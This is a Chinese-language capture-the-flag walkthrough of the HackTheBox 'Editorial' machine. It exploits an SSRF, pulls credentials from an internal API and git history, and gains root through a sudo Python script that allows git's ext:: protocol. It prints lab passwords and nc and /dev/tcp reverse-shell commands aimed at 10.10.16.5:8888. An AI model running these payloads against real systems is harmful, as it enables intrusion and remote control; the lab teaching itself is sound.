Editorial-HackTheBox

端口探测

1
2
3
4
# 开放端口探测
nmap -p- --min-rate 10000 10.10.11.20
# 端口开放的服务探测
nmap -p 22,80 -sCV 10.10.11.20

image-20241106155545906

image-20241106155823296

探测看出,绑定在10.10.11.20 IP地址上的端口有22和80。

漏洞挖掘

访问http://10.10.11.20:80/,跳转到http://editorial.htb:

image-20241106160201637

当前网站使用nginx作为代理,nginx信息为nginx/1.18.0 (Ubuntu)。

在 kali本地做一下静态DNS绑定:

image-20241106160321514

再次访问服务:

image-20241106160351401

收集网站特征并搜索公开情报信息:

image-20241106160427827

Hugo是什么:

image-20241106160719494

无利用价值:
image-20241106161346031

网站相关信息Editorial Tiempo Arriba,并使用该关键字做搜索,无有效情报。

进入目录爆破。

目录爆破

1
python dirsearch.py -u "http://editorial.htb" 

image-20241106162152952

访问http://editorial.htb/upload与http://editorial.htb/about:

image-20241106162518762

image-20241106163109033

upload这个页面有两个功能:一个文件上传,一个通过url请求资源

SSRF漏洞挖掘

通过url请求资源的接口,尝试进行SSRF漏洞挖掘:

第一步:在kali上创建一个临时的web服务

image-20241106164112791

第二步:构造payload请求kali上临时web服务

image-20241106164224403

第三步:在临时web服务上查看请求情况

image-20241106164247779

有回显,说明/upload-cover接口存在SSRF漏洞。

重点:

  • 这个是基于POST请求的SSRF漏洞,和常见的基于GET的SSRF漏洞不太一样

因为是单靶机,环境中只有一台主机,所以这个SSRF漏洞只能用来做当前主机的本地端口探测。

image-20241106164609124

image-20241106162828190

在页面输入http://127.0.0.1:5000/,重新发起请求:

image-20241107120855639

image-20241107120613260

1
2
3
4
5
6
7
8
9
10
GET /static/uploads/e6b2b5a2-d16a-4f67-accb-8cbe446f69ca HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://editorial.htb/upload


image-20241107120727635

1
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

响应内容格式化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}

响应包中有6个接口:

  • /api/latest/metadata/messages/promos
  • /api/latest/metadata/messages/coupons
  • /api/latest/metadata/messages/authors
  • /api/latest/metadata/messages/how_to_use_platform
  • /api/latest/metadata/changelog
  • /api/latest/metadata

尝试将以上接口与http://editorial.htb/ 拼接出一个完整的URL,如:

http://editorial.htb/api/latest/metadata/messages/how_to_use_platform

image-20241107150202661

拼凑出来的6个URL都出现404 Not Found。

这里要注意,以上6个接口是通过存在SSRF漏洞的接口/upload-cover获取的,尝试将以上6个接口与http://127.0.0.1:5000组合:

image-20241108085957481

在浏览器中构造URL发起请求:

http://editorial.htb/static/uploads/05f6259a-f628-4def-b46e-0e796c5e5910

image-20241108090053854

1
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

从中提取有效信息:

1
Your login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@

内部论坛和作者网站的登录凭据:

用户名:dev

密码:dev080217_devAPI!@

接下来的思路:

①寻找登录入口

②使用账号密码尝试进行ssh登录

目录扫描时未发现登录入口,有可能是字典不够大,登录入口未被发现。根据端口扫描结果,当前服务器开放了22号端口,尝试先用账号密码ssh登录试试:

image-20241108091058474

登录成功。

image-20241108091136938

提权利用

sudo通过命令执行提权—>查找敏感信息提权。

查看当前系统账户清单:有三个账户,分别是toot、prod、dev。

image-20241108095424204

查看sudo相关提权信息:

image-20241108094642537

无法使用sudo提权。

尝试查找敏感信息。

发现目录下有个apps目录,下面有个.git目录,.git文件夹是Git版本控制系统在项目根目录下创建的隐藏文件夹,包含了Git仓库的所有相关信息。

目录结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
(base) ┌──(kali㉿kali)-[~/tools/HTB/tmp]
└─$ tree -L 4 apps/.git/
apps/.git/
├── COMMIT_EDITMSG
├── HEAD
├── branches
├── config
├── description
├── hooks
│   ├── applypatch-msg.sample
│   ├── commit-msg.sample
│   ├── fsmonitor-watchman.sample
│   ├── post-update.sample
│   ├── pre-applypatch.sample
│   ├── pre-commit.sample
│   ├── pre-merge-commit.sample
│   ├── pre-push.sample
│   ├── pre-rebase.sample
│   ├── pre-receive.sample
│   ├── prepare-commit-msg.sample
│   ├── push-to-checkout.sample
│   └── update.sample
├── index
├── info
│   └── exclude
├── logs
│   ├── HEAD
│   └── refs
│   └── heads
│   └── master
├── objects
│   ├── 0a
│   │   └── 1dd9104faef86f2d8dce88d68fe5263d1e11c5
│   ├── 0d
│   │   └── a07d6dbf19e504be3274e4bbbc2fba9195bba7
│   ├── 10
│   │   └── 740b9d8aa5c570e6f03cf8afcaf4041484e04f
│   ├── 13
│   │   └── 59b3b7215e4fbbf90ff0c958363deae9b66918
│   ├── 14
│   │   └── a8fb7611264fb08bcb6ead8e66e4bd96c99517
│   ├── 1d
│   │   ├── 138863be69303362e79fcf5cfabfa07650a583
│   │   ├── 1be436bfb2b2c224584a10df121adc10d20cf0
│   │   └── 635dd1e2029225531d0be9841cd29c564240bd
│   ├── 1e
│   │   └── 84a036b2f33c59e2390730699a488c65643d28
│   ├── 24
│   │   └── 5c0dc0de95476f3bfc8b77cd52c6cd1cd71dda
│   ├── 28
│   │   └── cedbd5ebd3993066839e8fa16c1a95d86a4c92
│   ├── 2e
│   │   └── 401cf282505f9d0397b9b8fd42900f246ae718
│   ├── 2f
│   │   ├── 0912e802c79a036a442067bf4f0c4e6ef7bc56
│   │   └── 92d251dc236710cab43e2529c26afff999150c
│   ├── 32
│   │   └── 51ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
│   ├── 33
│   │   ├── 73b149c99fa082387139a290d7ea88b126e02d
│   │   └── cdee9403b5366bd868b1cb5817cfb142c68b47
│   ├── 34
│   │   └── 2c4d8844e11506e6c182fc4bc51bfce4217404
│   ├── 39
│   │   └── 6b607fbefe4eae9368c6294c1891f4c84a6b4d
│   ├── 3a
│   │   └── 95aa82a1e7622c8365df550de916a93dd92420
│   ├── 3e
│   │   └── 1bb2bba68fd9c1798b02acc15de79d0296f07d
│   ├── 3f
│   │   └── 7fb426f88f6f7a6d6432456a2f1dbc4c1cc08e
│   ├── 47
│   │   └── e85e41b0e5b215922821b54785f68c8d36d92d
│   ├── 48
│   │   ├── 55487e09441d7ecbb88be519173cf70e640498
│   │   └── fb39e473de06145ef23dc1f8837e17cd9eccb9
│   ├── 56
│   │   └── 562c9099057f5ffcdfb1f9736173f08743e5d8
│   ├── 58
│   │   └── f9e7bb8f7b558f59b451225e5c6ee3b4b2556a
│   ├── 5f
│   │   └── 67c086a18f782c049da0e7680b6273a602233b
│   ├── 61
│   │   └── b786f18cbfa7181041a4b59a4cd1b5b681050e
│   ├── 63
│   │   └── 1f0b270445c0abe4e064528ad22ef51c9e3f78
│   ├── 66
│   │   └── a976be26d6951e0700fd167abc43e26948258e
│   ├── 69
│   │   └── 926c2e5148f2fa83295f564bdee7ee3b1b9914
│   ├── 6e
│   │   └── 60bbedbe4de61dc98040a476f999d64d9ffac3
│   ├── 79
│   │   └── cf6081979677b0be3635f1dbefff3878064fbe
│   ├── 7c
│   │   └── 7adf527f67503ab6074f7c4973f4148fb2061c
│   ├── 83
│   │   └── 6e1768a26bbbf7cb8077f4aceb5513762ff008
│   ├── 85
│   │   └── 798a3a4af308febf52f4bc40deb69f07f637d2
│   ├── 8a
│   │   └── d0f3187e2bda88bba85074635ea942974587e8
│   ├── 8b
│   │   └── 321dcf5232805d66c78383cce28f69c0833939
│   ├── 8f
│   │   └── 3742cbd4ddca83323cee29e59f217b49c8a086
│   ├── 97
│   │   └── 5423ce1166c414d33b42e81ad03028b66c4849
│   ├── 98
│   │   ├── 4200d680eb17d5fe8deda12e1804698823e123
│   │   └── 6dafea027e6725cf644d1f9fd8b7d062a59cdc
│   ├── 99
│   │   └── 5661774cfea3c3779d67282bf5a9bca928ca5a
│   ├── 9b
│   │   └── 2900b89cc461033a9300f6ff3a78d24307c677
│   ├── 9c
│   │   └── b011763bc05e38fe52bb9b3a5c935b50b64704
│   ├── 9d
│   │   └── 7e1d5d6e73e37efefbee914ad7a6d5b0beb18b
│   ├── a3
│   │   └── a5682842d9f246ff2cb38a5ce2520c68204a85
│   ├── a6
│   │   └── d552a3055210a82b26299f6c71d6b9d34b8b71
│   ├── ae
│   │   └── abbbc4e3af6bf60cf43f2cf2d9da0014c94e01
│   ├── b1
│   │   └── 156f95b413b6e102e3f1cc00d2ee3fbc792506
│   ├── b5
│   │   └── 7138bf67ab7d0fe9026e7820e5dcd3a4e32d16
│   ├── b7
│   │   ├── 3481bb823d2dfb49c44f4c1e6a7e11912ed8ae
│   │   └── 64603ac837d5d98c14ff82011c2e75ccc52de4
│   ├── b9
│   │   └── 05e69865d5529953006fe8d779678637bab560
│   ├── ba
│   │   └── ef6425509ecc77f881acaf8d76e19d2c66ef17
│   ├── be
│   │   └── 47e5183d71ea9c0c750aff864d016edf107722
│   ├── bf
│   │   ├── 5c0f3f600bf600712ff9389b88474e9f4bd196
│   │   └── e9dc5c89f9930b6622180abe27060e490f97e0
│   ├── c5
│   │   └── 469ae5208ced6910ce88540cdc397c29f4e2c1
│   ├── c7
│   │   └── 460e1bc2af4caee07144d0eb1e2c062299c4f0
│   ├── c8
│   │   └── 238cace4ef935949b93b0900f0615678bca2ea
│   ├── cd
│   │   ├── 15cfc2feea251b9aead103f0816b9815a90ee3
│   │   ├── 6d8c0061355197c968d553abf3842447a32d90
│   │   └── d5bc2861285e6a76ea1dd281b1fbf2b262c0a3
│   ├── d0
│   │   └── 3c2bb74fda838cb01f5455329d7f71f1529e09
│   ├── d3
│   │   └── ef94c8bf5a7591ea9704c6a11f91d48da8fa8e
│   ├── d4
│   │   └── 734d0b10edb4f812ec7217b8d328eda971858f
│   ├── da
│   │   └── 70ac1f73a9289428c867991880e39192cea745
│   ├── db
│   │   └── 1d97807e60bbfbd8bec7183c9e148f978f0b0a
│   ├── de
│   │   └── 4d5a2ec5ac1c31a5aada2a19494141a0afe694
│   ├── df
│   │   └── ef9f20e57d730b7d71967582035925d57ad883
│   ├── f0
│   │   └── 26a3fe48747334df98f6a011fb626be1e68693
│   ├── f2
│   │   └── 981269f63c1d48379c4a23d9b0c5425a822c28
│   ├── f3
│   │   └── 425530e6b1bc08c8a3495af5be8f4e5a7b050b
│   ├── fe
│   │   ├── d38d45f922c2ae1a0788bd6558f42f21923c25
│   │   └── dbacedca988eba5ebb00cd9e1b1057267434ef
│   ├── info
│   └── pack
└── refs
├── heads
│   └── master
└── tags

79 directories, 99 files

主要目录/文件及作用:

名称 类型 说明 敏感信息类别
COMMIT_EDITMSG 文件 是一个文本文件,用于存储最近一次 Git 提交时的提交消息 Git存储的最新提交信息。虽然单个提交信息可能不会直接包含敏感信息,但有时开发者可能会误将机密信息(如凭证、路径等)写入提交说明中,存在敏感信息泄露的风险。
HEAD 文件 存储 HEAD 引用的变动记录。每次 HEAD 引用变动时,都会在该文件中记录变动的信息。 通常不包含敏感信息
branches 目录 存储了每个远程分支的相关信息。 这个目录通常存储分支信息,但在现代Git中一般为空。它包含的历史信息很少,但也可能含有不常用的分支路径。
config 文件 存储了项目级别的Git配置信息,包括用户名、邮箱、远程仓库等。 包含仓库的配置文件,记录了仓库的配置信息,如远程仓库的URL、用户的名称和邮箱等。如果配置文件包含远程仓库地址,可能会泄露仓库的源地址及用户名,甚至暴露出私有仓库的路径。
description 文件 对于空的Git仓库,此文件内容为空。对于非空的Git仓库,描述该项目的文本 通常用于描述仓库的内容,不用于敏感操作
hooks 目录 存放各种Git钩子(hooks)的目录,包括预定义的钩子模板和用户自定义的钩子脚本。 包含Git钩子脚本,用于在特定Git操作时触发。某些钩子可能包含敏感的自动化操作命令,或者包含用于敏感操作的脚本代码,可能泄露部署、构建等流程的信息
index 文件 包含了暂存区(stage)的内容,记录了即将提交的文件和相关元数据。 通常不包含敏感信息
info 目录 包含一些辅助信息,例如.gitignore的全局配置 通常不包含敏感信息
logs 目录 存储了每个引用(分支、标签等)的修改历史。 记录每次对引用(refs)的更新日志,包含详细的提交历史和切换记录。Git日志中可能暴露出包含敏感内容的提交ID或提交信息,攻击者可以通过这些记录来了解项目的修改历程
objects 目录 Git 版本控制系统中一个非常重要的目录,用于存储 Git 仓库中的所有对象 是Git的对象存储区,包含了所有的文件和提交的具体数据。这部分数据包含了仓库的实际内容,可能会暴露出代码、历史版本等敏感信息,甚至可能包含意外上传的敏感文件
refs 目录 存储各个引用(如分支、标签)的引用日志信息。每个应用都对应的一个子目录 存储了分支、标签等引用信息。虽然不会包含直接的敏感信息,但会暴露仓库的分支结构,可能泄露分支名称和开发的工作流信息。

总结:config、logs和objects这三个目录是比较可能暴露敏感信息。

上述.git目录下,config无内容,我们聚焦在logs和objects目录下的内容。

先查看一下logs目录下的内容,有个HEAD文件:

image-20241108200548425

1
2
3
4
5
6
7
8
9
10
11
12
(base) ┌──(kali㉿kali)-[~/…/tmp/apps/.g
it/logs]
└─$ cat HEAD
0000000000000000000000000000000000000000 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 dev-carlos.valderrama <[email protected]> 1682905723 -0500 commit (initial): feat: create editorial app
3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a036b2f33c59e2390730699a488c65643d28 dev-carlos.valderrama <[email protected]> 1682905870 -0500 commit: feat: create api to editorial info
1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <[email protected]> 1682906108 -0500 commit: change(api): downgrading prod to dev
b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dfef9f20e57d730b7d71967582035925d57ad883 dev-carlos.valderrama <[email protected]> 1682906471 -0500 commit: change: remove debug and update api port
dfef9f20e57d730b7d71967582035925d57ad883 8ad0f3187e2bda88bba85074635ea942974587e8 dev-carlos.valderrama <[email protected]> 1682906661 -0500 commit: fix: bugfix in api port endpoint

(base) ┌──(kali㉿kali)-[~/…/tmp/apps/.git/logs]
└─$

.git/logs/HEAD 文件是 Git 用来记录每次更新 HEAD 的日志文件。HEAD 指向当前被检出的分支或提交,因此,每次执行切换分支(checkout)、提交(commit)、合并(merge)等操作时,都会更新 HEAD 的指向。.git/logs/HEAD 会记录这些操作的详细历史,包括以下信息:

  1. 操作之前和之后的提交哈希:用于记录 HEAD 的变更路径,方便追溯操作历史。
  2. 执行操作的用户和时间:通常包含执行该操作的用户和具体时间戳。
  3. 操作说明:例如 commit: <message>checkout: moving from <branch1> to <branch2> 等,详细描述了具体的 Git 操作。

image-20241108200932223

使用git log来显示对存储库的所有提交的列表:

image-20241109000957444

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
(base) ┌──(kali㉿kali)-[~/…/tmp/apps/.git/logs]
└─$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:04:21 2023 -0500

fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:01:11 2023 -0500

change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:55:08 2023 -0500

change(api): downgrading prod to dev

* To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:51:10 2023 -0500

feat: create api to editorial info

* It (will) contains internal info about the editorial, this enable
faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:48:43 2023 -0500

feat: create editorial app

* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.

从输出结果看,没办法快速定位哪个记录有敏感信息,通过全量查看或者过滤关键字的方式查找敏感信息:

1
git show 1e84a036b2f33c59e2390730699a488c65643d28|egrep -i "password|username|token|pwd|prod|root"

过滤条件中的prod和root是通过查看/etc/passwd文件发现的两个用户名。

image-20241109001300223

发现1e84a036b2f33c59e2390730699a488c65643d28存在敏感信息:

1
Username: prod\nPassword: 080217_Producti0n_2023!@

账号:prod

密码:080217_Producti0n_2023!@

尝试使用该密码切换到prod账户试试:

image-20241109001521386

成功切换。

尝试以prod身份进行提权,查看是否存在sudo命令:

image-20241109001636112

发现/opt/internal_apps/clone_changes/clone_prod_change.py文件时以root身份运行的。查看一下这文件的权限与文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

image-20241109003247468

核心的 Git 操作

  • r = Repo.init('', bare=True):在当前目录初始化一个裸仓库。裸仓库不包含工作目录(即没有文件的实际拷贝),仅用于保存 Git 元数据。
  • r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]):使用 url_to_clone 中的远程仓库 URL 克隆仓库内容到本地 new_changes 目录,并指定 -c protocol.ext.allow=always,以允许自定义的 Git 协议(ext 协议),解除协议限制。

代码的作用总结

  • 该代码在指定目录下创建一个裸仓库,并克隆指定的远程仓库到 new_changes 目录。
  • 允许 ext 协议,可以通过命令行参数传入克隆 URL。

尝试构造一个参数:

1
sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::id"

image-20241109003529782

代码执行报错了,但是从uid=的提示来看,命令是执行成功的,只是回显有问题。

此时可以构造反弹shell:

1
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c bash% -i% /dev/tcp/10.10.16.5/8888% 0>1"

image-20241109004947241

发现/dev/tcp目录不存在,这个反弹shell无法成功。

尝试使用nc做反弹 shell:

1
sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c rm% /tmp/f;mkfifo% /tmp/f;cat% /tmp/f|/bin/bash% -i% 2>&1|nc% 10.10.16.5% 8888% >/tmp/f"

image-20241109003130335

image-20241109003200982

反弹shell成功,即为提权成功。

命令解释:

rm% /tmp/f

  • rm /tmp/f:删除 /tmp/f 文件(如果存在)。
  • 注:% 符号表示空格编码,通常是为了绕过某些输入过滤器或编码机制。

mkfifo% /tmp/f

  • mkfifo /tmp/f:创建一个命名管道(FIFO文件),路径为 /tmp/f。
  • 作用:这个管道将用于与远程服务器进行双向通信,是反弹 shell 的一个重要部分。

cat% /tmp/f|/bin/bash% -i% 2>&1|nc% 10.10.16.5% 8888% >/tmp/f

  • cat /tmp/f:读取 /tmp/f 中的内容,内容会由远程服务器发送。

  • | /bin/bash -i:将 /tmp/f 中的内容作为命令输入到 bash,启动一个交互式 bash shell。

  • 2>&1:将标准错误重定向到标准输出,以便错误信息和正常输出一同发送到远程服务器。

  • | nc 10.10.16.5 8888 > /tmp/f:使用 nc(Netcat)将命令输出重定向到攻击者的服务器 10.10.16.5 上的 8888 端口,同时将服务器的输入写回 /tmp/f 管道,从而建立一个双向的远程连接。

整体流程:

  • 删除并创建管道:/tmp/f 是一个命名管道,用于在本地系统和攻击者的服务器之间进行数据传输。
  • 反弹 shell:通过 nc(Netcat),连接到攻击者的机器(10.10.16.5:8888),并通过管道 /tmp/f 与 bash 进行通信。

远程控制:

攻击者的机器上接收到反弹 shell 连接后,可以向 /tmp/f 写入指令,并从该管道中读取 bash 的输出,从而实现对目标系统的控制。

参考资料

无。